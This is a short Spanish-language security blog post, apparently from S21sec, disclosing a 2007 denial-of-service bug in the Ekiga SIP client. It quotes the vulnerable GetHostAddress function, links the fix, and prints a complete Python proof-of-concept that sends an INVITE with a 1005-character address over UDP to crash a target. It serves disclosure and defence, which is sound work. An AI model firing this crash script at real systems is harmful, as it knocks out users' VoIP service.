Español | English
rss facebook linkedin Twitter

Sobre la vulnerabilidad del Ekiga: explicación y PoC


Si estás interesado en obtener más información sobre la vulnerabilidad de Ekiga publicada hoy (notificada al equipo de Ekiga en Julio de 2007) entonces esta entrada del blog es la que estabas buscando.

El bug se debe a un tema de reasignación de memoria y de bloqueos al mandar una dirección SIP larga(1005 A's) desde la función SIPURL::GetHostAddress que es donde se extrae la cadena de A's.

Este bug parece que se resolvió exactamente en la siguiente revisión de ekiga: http://openh323.cvs.sourceforge.net/openh323/opal/src/sip/sipcon.cxx?r1=2.120.2.25&r2=2.120.2.26&pathrev=v2_2_9

La parte vulnerable del código es la siguiente:

OpalTransportAddress SIPURL::GetHostAddress() const
{
PString addr = paramVars("transport", "udp") + '$';
if (paramVars.Contains("maddr"))
addr += paramVars["maddr"];
else
addr += hostname;
if (port != 0)
addr.sprintf(":%u", port);
return addr;
}


La prueba de concepto es la siguiente (PoC):

#!/usr/bin/python
# ekiga207_crash by José Miguel Esparza
# 2007 S21sec Labs

import sys,socket

if len(sys.argv) != 3:
print "Usage: ekiga207_crash.py target_host target_port\n"
sys.exit(1)
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE "+'A'*1005+" SIP/2.0\r\n"+\
"Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\r\n"+\
"Contact:sip:pepe@172.91.1.133:5060\r\n"+\
"Content-Length:417\r\n"+\
"Content-Type:application/sdp\r\n"+\
"CSeq:4321 INVITE\r\n"+\
"From:sip:pepe@172.91.1.148:5060;tag=a48s\r\n"+\
"Max-Forwards:70\r\n"+\
"To:sip:paco@micasa.com\r\n"+\
"Via:SIP/2.0/UDP 172.91.1.148:5060;branch=z9hG4bK74b76\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()


Esta vez tenemos que dar gracias a Malybuzz :)


(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2013 - Todos los derechos reservados


login